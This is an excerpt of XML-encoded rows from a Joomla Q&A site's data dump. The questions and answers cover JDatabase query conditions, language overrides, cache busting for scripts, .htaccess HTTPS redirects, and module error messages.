  <row Id="15736" PostTypeId="2" ParentId="15735" CreationDate="2016-03-17T19:22:46.897" Score="1" Body="&lt;p&gt;I found both the string in the language file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;root/language/en-GB/en-GB.tpl_noo_capulus.ini &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Here you will see the language string &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;NOO_CAPULUS_COM_CONTACT_OTHER_INFORMATION=&quot;Store Hours&quot;&#xA;NOO_CAPULUS_COM_CONTACT_FORM_LABEL=&quot;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec tincidunt dolor et tristique bibendum. Aenean sollicitudin vitae dolor ut posuere.&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now edit this string or replace it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you can use Language manager to override language keys instead of deleting or modifying original language file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it will help you. &lt;/p&gt;&#xA;" OwnerUserId="3637" LastEditorUserId="3637" LastEditDate="2016-03-18T13:12:18.883" LastActivityDate="2016-03-18T13:12:18.883" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15737" PostTypeId="2" ParentId="15728" CreationDate="2016-03-17T21:39:03.480" Score="1" Body="&lt;p&gt;No, there is no way for Guests or Public visitors to post anything in neither K2 nor Joomla itself. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They have to belong at least to Author group, which is lowest group with front-end editing rights, and to be logged-in on the front-end. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is by design. You might want to check official documentation &lt;a href=&quot;https://docs.joomla.org/J3.x:Access_Control_List_Tutorial&quot; rel=&quot;nofollow&quot;&gt;Access Control List Tutorial&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-03-19T00:09:43.473" LastActivityDate="2016-03-19T00:09:43.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15739" PostTypeId="2" ParentId="15710" CreationDate="2016-03-17T23:05:01.833" Score="2" Body="&lt;p&gt;This happened to a client of mine once. The way I solved it was by downloading the all purpose upgrade package file from Joomla website.  It doesn't matter if the core is already up to date, but make sure to get correct upgrade file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, if you're on 3.4.4, download the 3.4.x package.  Once downloaded manually type in administration url to install extensions, select the downloaded upgrade package and install.  Once done, refresh and see if that fixes it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps...&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2016-03-17T23:05:01.833" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15740" PostTypeId="2" ParentId="15722" CreationDate="2016-03-17T23:46:09.923" Score="4" Body="&lt;ol&gt;&#xA;&lt;li&gt;Add page class suffix in the menu which leads to that particular page.&lt;br&gt;&#xA;You do this in menu's Page Display tab in field Page class, let's call it &lt;code&gt;mypage&lt;/code&gt;.&lt;br&gt;&#xA;This way you will get &lt;code&gt;body.mypage&lt;/code&gt; CSS selector.&lt;/li&gt;&#xA;&lt;li&gt;Then add module class sufix in your module of choice. Depending of module's type, it is usally in Advanced tab in Module Class Suffix field, let's call it &lt;code&gt;mymodule&lt;/code&gt;&lt;br&gt;&#xA;This way you will get &lt;code&gt;.mymodule&lt;/code&gt; CSS selector.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then you add following CSS rule in &lt;code&gt;template.css&lt;/code&gt; or some other CSS file of your template:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;body.mypage .mymodule {&lt;br&gt;&#xA;  background-color: #FF0000;&lt;br&gt;&#xA;  }&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And adjust it the way you like.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerDisplayName="user8036" LastActivityDate="2016-03-17T23:46:09.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15741" PostTypeId="1" AcceptedAnswerId="15747" CreationDate="2016-03-18T00:37:51.347" Score="6" ViewCount="323" Body="&lt;p&gt;I have been pulling my hair out with this query for the last 2 days and have read and re-read the 2 other similar posts with no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Scenario:&lt;/strong&gt;&#xA;I am gathering two inputs from a user: Test ID Code and email address they used when submitting the test.  The test code is numbers and can have a letter in the beginning, but the testing facility may leave this number out so I add the letter to a variable in the query (reason for &quot;newtidcode&quot; you will see below).  They can also provide up to 4 email addresses to the tester when submitting (reason for me testing on 4 email possibilities).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $query-&amp;gt;select($db-&amp;gt;quoteName(array('tidcode', 'cdcode','email1', 'email2', 'email3', 'email4', 'status')))&#xA;        -&amp;gt;from($db-&amp;gt;quoteName('#__tid_codes'))&#xA;        -&amp;gt;where($db-&amp;gt;quoteName('tidcode').' = '.$db-&amp;gt;quote($tidcode), 'OR')&#xA;        -&amp;gt;where($db-&amp;gt;quoteName('tidcode').' = '.$db-&amp;gt;quote($newtidcode), 'AND')&#xA;        -&amp;gt;where('('.$db-&amp;gt;quoteName('email1').' = '.$db-&amp;gt;quote($email).' OR '.$db-&amp;gt;quoteName('email2').' = '.$db-&amp;gt;quote($email).' OR '.$db-&amp;gt;quoteName('email3').' = '.$db-&amp;gt;quote($email).' OR '.$db-&amp;gt;quoteName('email4').' = '.$db-&amp;gt;quote($email).')');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here the SQL Statement created:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT `tidcode`,`cdcode`,`email1`,`email2`,`email3`,`email4`,`status` FROM `#__tid_codes` WHERE `tidcode` = '10348' OR `tidcode` = 'F10348' OR (`email1` = 'someone@fake.net' OR `email2` = 'someone@fake.net' OR `email3` = 'someone@fake.net' OR `email4` = 'someone@fake.net')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see the OR before the email should be an AND as specified in the 2nd &quot;where&quot; statement.  I was even trying to use conditions arrays like below and still ran into the same thing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$conditions1 = array(&#xA;    $db-&amp;gt;quoteName('tidcode').&quot; = &quot;.$db-&amp;gt;quote($tidcode),&#xA;    $db-&amp;gt;quoteName('tidcode').&quot; = &quot;.$db-&amp;gt;quote($newtidcode)&#xA;);&#xA;$conditions2 = array (&#xA;    $db-&amp;gt;quoteName('email1').&quot; = &quot;.$db-&amp;gt;quote($email),&#xA;    $db-&amp;gt;quoteName('email2').&quot; = &quot;.$db-&amp;gt;quote($email),&#xA;    $db-&amp;gt;quoteName('email3').&quot; = &quot;.$db-&amp;gt;quote($email),&#xA;    $db-&amp;gt;quoteName('email4').&quot; = &quot;.$db-&amp;gt;quote($email)&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is my first foray in JDatabase querying to this complexity.  I have this application working fine in standard HTML and PHP, but trying to port over to Joomla.  Any help is highly appreciated. &lt;/p&gt;&#xA;" OwnerUserId="8034" LastActivityDate="2018-06-11T06:01:24.390" Title="Combining 'ANDs' and 'ORs' in a complex WHERE query - Part 2" Tags="|jdatabase|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15743" PostTypeId="2" ParentId="15711" CreationDate="2016-03-18T08:41:04.137" Score="0" Body="&lt;p&gt;Hi George and Welcome to JSE!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A module sounds like a reasonable solution for your scenario.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parameters can be included in the module to make it easy for users to choose what information to display in each instance of the module that is created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modules can then be individually assigned to pages as required such as &quot;On all pages&quot;, &quot;Only on the pages selected&quot; or &quot;On all pages except those selected&quot; etc as per the example below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OFQ5R.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OFQ5R.png&quot; alt=&quot;Menu Assignment&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-03-18T08:41:04.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15744" PostTypeId="1" CreationDate="2016-03-18T08:47:56.720" Score="3" ViewCount="514" Body="&lt;p&gt;I am having a strange problem with a site in english and swedish.&#xA;This is the situation:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The site was built originally in english, which is set as the default language.&lt;/li&gt;&#xA;&lt;li&gt;The language filter plugin is enabled but the &quot;Automatic Language Change&quot; is disabled. So everyone in the world should see only the english version.&lt;/li&gt;&#xA;&lt;li&gt;The language switcher module is disabled.&lt;/li&gt;&#xA;&lt;li&gt;The site was set up few months ago with swedish language, menu, and some articles, then the owner wanted to pause for not having enough time to translate all the contents. So the swedish version is now half ready half not.&lt;/li&gt;&#xA;&lt;li&gt;Someone reported to the owner of the site that what they see is the swedish version and not the english.&lt;/li&gt;&#xA;&lt;li&gt;We made many tests, we disabled the cache, we used swedish proxies etc, but we could never make the swedish language appear, it was always english.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;We cannot replicate the problem, so how can I force the 100% of the users to see the english version without erasing the existing work done for the swedish version?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: The owner of the site doesn't want to finish now the swedish version and at the same time doesen't want to take off all the work done since now.&lt;/p&gt;&#xA;" OwnerUserId="4019" LastEditorUserId="3650" LastEditDate="2016-11-13T11:18:04.937" LastActivityDate="2016-11-13T11:18:04.937" Title="Joomla 3.4.8 language filter &quot;Automatic Language Change&quot; disabled but still redirects in some cases" Tags="|joomla-3.x|language|content-filtering|mod-languages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15745" PostTypeId="2" ParentId="15744" CreationDate="2016-03-18T09:38:05.237" Score="2" Body="&lt;p&gt;Blame Google my man! That's the biggest sniffer in the world, and I bet you any money that due to the fact your site is alive for a few months, it found Swedish articles on it's own and without your intention or intervention, and indexed them already.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I don't know how did you organize your content and menus, which sitemaps you added to Google Search Console, but the simple fact that you disabled Languge Switcher Module is not enough, because Language Filter Plugin IS enabled, and content on Swedish is REACHABLE through front-end, isn't it? That's all Google needs, trust me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you either unpublish language filter plugin and make Swedish content totaly unreachable even for yourself, and develop it on another test domain until its ready for prime time.&lt;br&gt;&#xA;Or be ready to survive customer's complaints if you leave it this way.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-03-19T09:35:58.437" LastActivityDate="2016-03-19T09:35:58.437" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="15747" PostTypeId="2" ParentId="15741" CreationDate="2016-03-18T11:06:59.077" Score="6" Body="&lt;p&gt;The second parameter of &lt;code&gt;where&lt;/code&gt;, called &lt;code&gt;$glue&lt;/code&gt;, does not work as you might expect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the source code of the where function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function where($conditions, $glue = 'AND')&#xA;{&#xA;    if (is_null($this-&amp;gt;where))&#xA;    {&#xA;        $glue = strtoupper($glue);&#xA;        $this-&amp;gt;where = new JDatabaseQueryElement('WHERE', $conditions, &quot; $glue &quot;);&#xA;    }&#xA;    else&#xA;    {&#xA;        $this-&amp;gt;where-&amp;gt;append($conditions);&#xA;    }&#xA;    return $this;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see that it only takes the $glue of the first &quot;WHERE&quot; you add to your query. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found some more information about this issue &lt;a href=&quot;https://groups.google.com/forum/#!topic/joomla-dev-general/jFLBSEFCtsU&quot;&gt;here&lt;/a&gt;, but the information there may be outdated.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Solution&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Keep your 2 variables, $conditions1 and $conditions2 and then build your query like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;select($db-&amp;gt;quoteName(array('tidcode', 'cdcode','email1', 'email2', 'email3', 'email4', 'status')))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__tid_codes'))&#xA;    -&amp;gt;where(implode(' OR ', $conditions1))&#xA;    -&amp;gt;where('(' . implode(' OR ', $conditions2) . ')');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which will result in this query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT `tidcode`,`cdcode`,`email1`,`email2`,`email3`,`email4`,`status` FROM `#__tid_codes` WHERE `tidcode` = '10348' OR `tidcode` = 'F10348' AND (`email1` = 'someone@fake.net' OR `email2` = 'someone@fake.net' OR `email3` = 'someone@fake.net' OR `email4` = 'someone@fake.net')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="154" LastActivityDate="2016-03-18T11:06:59.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15749" PostTypeId="1" AcceptedAnswerId="15750" CreationDate="2016-03-18T14:44:17.417" Score="4" ViewCount="475" Body="&lt;p&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/JHtml.html#method_script&quot; rel=&quot;noreferrer&quot;&gt;JHtml::script&lt;/a&gt; and &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JHtml.html#method_stylesheet&quot; rel=&quot;noreferrer&quot;&gt;JHtml::stylesheet&lt;/a&gt; have a cache busting technique that doesn't seem to be documented clearly. How do I go about using it?&lt;/p&gt;&#xA;" OwnerUserId="5239" LastActivityDate="2016-04-15T10:26:19.647" Title="How do I use Joomla's built-in cache busting technique for scripts and stylesheets?" Tags="|cache|jhtml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15750" PostTypeId="2" ParentId="15749" CreationDate="2016-03-18T14:44:17.417" Score="4" Body="&lt;p&gt;Yes, there is a built-in cache busting technique. If you use it, your HTML will look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script src=&quot;/media/path/foo/bar.js?32af2f62db6e60053132340acc9dfb3c&quot; type=&quot;text/javascript&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;How the cache busting technique works:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This works by appending a different series of characters in the URL query section every time that the file changes. This way, the browser won't have a cached entry for this never-before-seen URL, and will have to fetch it again. Joomla and your server are already configured to ignore the query part of the URL when it comes to serving static files.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;How to implement it:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Here's how to use it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_(&quot;script&quot;, &quot;path/foo/bar.js&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_(&quot;stylesheet&quot;, &quot;path/foo/bar.css&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Note that using &lt;code&gt;addStyleSheet&lt;/code&gt; and &lt;code&gt;addScript&lt;/code&gt; does &lt;em&gt;not&lt;/em&gt; work, you have to use &lt;code&gt;JHtml::script&lt;/code&gt; and &lt;code&gt;JHtml::stylesheet&lt;/code&gt; instead.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, make sure that the directory that contains the file (&lt;code&gt;path/foo&lt;/code&gt;) contains a file named &lt;code&gt;MD5SUM&lt;/code&gt; (&lt;em&gt;not&lt;/em&gt; &lt;code&gt;MD5SUMS&lt;/code&gt;). This file will contain the characters that will be appended to the URL with a &lt;code&gt;?&lt;/code&gt;. It doesn't have to be an MD5SUM checksum, it could be anything, but the intent is that it does contain a checksum of the files in that directory. Sadly, there's no way to have a separate checksum for each file in that directory, if you want cache busting to work with this technique, the checksum has to change for all the files in that directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how to create it on Linux on the command-line, you should probably add something like this in your build script if you have one:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd path/foo&#xA;find . -maxdepth 1 -type f -not -name MD5SUM -exec md5sum &quot;{}&quot; &quot;;&quot; | sort | md5sum  &amp;gt; MD5SUM&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This creates the MD5SUM checksum of each file in that directory (except MD5SUM to avoid a feedback loop), and then MD5SUMs all of that output into one final &lt;code&gt;MD5SUM&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(By default, the command &lt;code&gt;md5sum&lt;/code&gt; includes filenames and newlines, but it should still work regardless.)&lt;/p&gt;&#xA;" OwnerUserId="5239" LastEditorUserId="5239" LastEditDate="2016-04-15T10:26:19.647" LastActivityDate="2016-04-15T10:26:19.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15751" PostTypeId="2" ParentId="15722" CreationDate="2016-03-18T16:49:04.400" Score="1" Body="&lt;p&gt;Thanks a lot guys for your answers, actually since i'm using a WYSIWYG module i just added a  section and called the same class that defines the forst color and changed it with a different just in that page. &lt;/p&gt;&#xA;" OwnerUserId="8024" LastActivityDate="2016-03-18T16:49:04.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15752" PostTypeId="1" AcceptedAnswerId="15754" CreationDate="2016-03-18T17:43:03.433" Score="1" ViewCount="320" Body="&lt;p&gt;I have built a number of custom modules and they work fine as long as there is no error.   The error trapping works fine too.   The only issue that I have is that when using exit() to display a message and stop the php page from running - it displays the page outside of Joomla rather then in the module location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see an example of this behavior at:&#xA;&lt;a href=&quot;http://www.p3proswing.com/site3/index.php/p3-live-home&quot; rel=&quot;nofollow&quot;&gt;http://www.p3proswing.com/site3/index.php/p3-live-home&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would want this error to appear within the main body of Joomla (like the module does when you are logged in).   Thus, the header, menu, footer, etc. should all still be displayed.&lt;/p&gt;&#xA;" OwnerUserId="7700" LastActivityDate="2016-03-21T15:22:40.730" Title="Custom module exits Joomla on exit()" Tags="|php|joomla-3.4|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15753" PostTypeId="1" CreationDate="2016-03-18T18:08:53.413" Score="1" ViewCount="869" Body="&lt;p&gt;Well, I am utterly stumped at this point. I have a site (www.smithfieldtimes.com). It is based on joomla, and I am trying to enable HTTPS on the site. Almost all the links in the template and the links used in the articles are relative. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However for some reason the images won't display. At first I thought it was a mixed content issue, but of course I am not using hard links anywhere. I then used .htaccess to force image files to be https. So now the mixed content warning is gone, but the images still aren't showing up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is, the links aren't broken. If you right click on the images and choose &quot;Open image in new tab&quot; the image loads fine. Same with all the image URLs reported in firebug and Chrome dev tools. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any reason that the images wouldn't load if the URLs are correct? &#xA;This is what my .htaccess file looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;RewriteEngine on&#xA;RewriteCond %{HTTP_REFERER} !^$&#xA;RewriteCond %{HTTP_REFERER} !^http://smithfieldtimes.com/.*$      [NC]&#xA;RewriteCond %{HTTP_REFERER} !^http://smithfieldtimes.com$      [NC]&#xA;RewriteCond %{HTTP_REFERER} !^http://www.smithfieldtimes.com/.*$      [NC]&#xA;RewriteCond %{HTTP_REFERER} !^http://www.smithfieldtimes.com$      [NC]&#xA;RewriteRule .*\.(jpg|jpeg|gif|png|bmp|pdf)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,NC,R=301]&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works fine on the non HTTPS site. Any suggestions or tips for even what to look for at this point would be greatly appreciated. &lt;/p&gt;&#xA;" OwnerUserId="8042" LastActivityDate="2016-03-18T20:58:45.150" Title="Images won't load, even though links are correct with SSL" Tags="|joomla-3.x|images|ssl|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15754" PostTypeId="2" ParentId="15752" CreationDate="2016-03-18T18:32:29.920" Score="2" Body="&lt;p&gt;If you want to display error message, you can use Joomla's &lt;code&gt;enqueueMessage&lt;/code&gt; function, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$app-&amp;gt;enqueueMessage('Oops - something went wrong', 'error');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Have a look at the bottom of the Documentation page to see what types of alerts can be used:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Display_error_messages_and_notices&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Display_error_messages_and_notices&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps -- you will also want to not exit() the program, but gracefully stop whatever processing you are attempting, otherwise the Messages will not get displayed in the Joomla layout.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2016-03-21T15:22:40.730" LastActivityDate="2016-03-21T15:22:40.730" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15755" PostTypeId="2" ParentId="15753" CreationDate="2016-03-18T20:58:45.150" Score="1" Body="&lt;p&gt;So, I actually solved it. It was something pretty basic in that I was getting too many redirect loops. I added the line &quot;RewriteCond %{HTTPS} !=on&quot; right before my last rewrite rule. That way it wouldn't &quot;re-process&quot; an HTTPS get request. A bit obvious an staring me in the nose earlier... but hey, everything seems to be working now. I am not sure if this is in fact the best/proper way, but it seems to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks. :) &lt;/p&gt;&#xA;" OwnerUserId="8043" LastActivityDate="2016-03-18T20:58:45.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15756" PostTypeId="2" ParentId="15664" CreationDate="2016-03-19T01:00:23.617" Score="2" Body="&lt;p&gt;To display multiple markers using the Google Maps plugin by Mike Reumer you will need to learn about KML files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is probably easier to find and install a different extension that makes it simple to display multiple markers on a map such as &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/maps-a-weather/maps-a-locations/gmapfp-google-map&quot; rel=&quot;nofollow&quot;&gt;GMapFP&lt;/a&gt; or &lt;a href=&quot;http://extensions.joomla.org/extension/maps2&quot; rel=&quot;nofollow&quot;&gt;Maps2&lt;/a&gt; or similar.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-03-19T01:00:23.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15758" PostTypeId="1" AcceptedAnswerId="15845" CreationDate="2016-03-20T00:21:54.680" Score="4" ViewCount="124" Body="&lt;p&gt;I have a custom realty / information component written for a military related website. There are roughly 220 military installations that are covered by my component and for each installation I am offering the same layouts with installation specific data for each. My question is about proper caching. We currently have about 450k properties in the database, each property has a key field that dictates which installation that property should display for. Some of the larger installations may have 6-7k properties for that single base.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have caching turned on for my site but my question is whether or not page caching in Joomla, or the com_content caching is covering my custom component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess the meat and potatoes of this question is this: Should I be including methods to cache my custom component pages / layouts or does Joomla automatically cache these as page caches? If I do need to include caching code for my component can you point me in the direction I need to be going in to include caching.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-03-25T15:51:45.743" Title="Custom Component Caching" Tags="|joomla-3.x|custom-component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15759" PostTypeId="2" ParentId="66" CreationDate="2016-03-20T02:53:59.130" Score="3" Body="&lt;p&gt;I needed exactly the same thing so I made a plugin that makes Save as copy work that way. You can find it here: &lt;a href=&quot;https://github.com/alexxandar/copy-module-assignments&quot; rel=&quot;nofollow&quot;&gt;https://github.com/alexxandar/copy-module-assignments&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5755" LastActivityDate="2016-03-20T02:53:59.130" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15760" PostTypeId="1" AcceptedAnswerId="15817" CreationDate="2016-03-20T10:52:52.757" Score="0" ViewCount="2207" Body="&lt;p&gt;My homepage is currently only showing blog posts of one category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under Category Manager I have a category called &quot;Homepage blog&quot;, with several sub-categories (all using Homepage blog&quot; as the parent). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under the Menu Manager I have a Menu called &quot;Home&quot;. It has a Menu Item Type of &quot;Articles » Category Blog&quot;. When I open this I see that under Required Settings it has the Category of &quot;Homepage Blog&quot;. Further options I've set include: &#xA;Category Options: Subcategory Levels: All&#xA;Blog Layout Options: Include Subcategories: All&#xA;Details: Default Page: Yes&#xA;Template Type: - Use Default - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I create a brand new Menu item of the type Category List, and set options to show &quot;Homepage blog&quot; category and all sub-categories, it again only shows items in the parent category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm on Joomla 2.5 using Nano 2 Theme from YooTheme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="8049" LastActivityDate="2016-03-25T11:50:53.570" Title="Show articles from category and all it's subcategories on homepage" Tags="|menu|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15761" PostTypeId="1" AcceptedAnswerId="15762" CreationDate="2016-03-20T11:03:51.390" Score="1" ViewCount="73" Body="&lt;p&gt;I just started working with a CMS and I decided to use Joomla. So my thoughts were, that I can use those functions that Joomla provides for my already existing site, but when I configure Joomla, there is already a site with an easy design.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is, whether I can include my already existing site and replace the default design from Joomla? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate every help and comment! &lt;/p&gt;&#xA;" OwnerUserId="8050" LastEditorUserId="3650" LastEditDate="2016-03-20T11:17:43.493" LastActivityDate="2016-03-20T16:01:10.420" Title="Include finished website in Joomla?" Tags="|joomla-3.4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15762" PostTypeId="2" ParentId="15761" CreationDate="2016-03-20T16:01:10.420" Score="6" Body="&lt;p&gt;When you decide to adopt a CMS, you must embrace its definitions, features and methodology. Otherwise, you are creating some hybrid site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To migrate a site to Joomla, you must create or implement a template for the site design, define a navigational structure and migrate the content to Joomla items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, there is no way to &quot;drop&quot; a site into Joomla.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2016-03-20T16:01:10.420" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15763" PostTypeId="1" AcceptedAnswerId="15777" CreationDate="2016-03-20T20:11:03.643" Score="1" ViewCount="391" Body="&lt;p&gt;I want to autoload multiple helpers in my custom component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In all the docs I've found, the examples for using &lt;code&gt;JRegisterNamespace&lt;/code&gt; show the classes being loaded from the Joomla &lt;code&gt;/libraries&lt;/code&gt; as the root. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this the only use of the namespace loader? Or could I register (for example) my component's &lt;code&gt;helpers&lt;/code&gt; directory and load all my helpers automatically instead of using a bunch of &lt;code&gt;require&lt;/code&gt; statements?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If possible, please provide example of how this would be done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2016-03-21T16:42:59.510" Title="using JRegisterNamespace" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
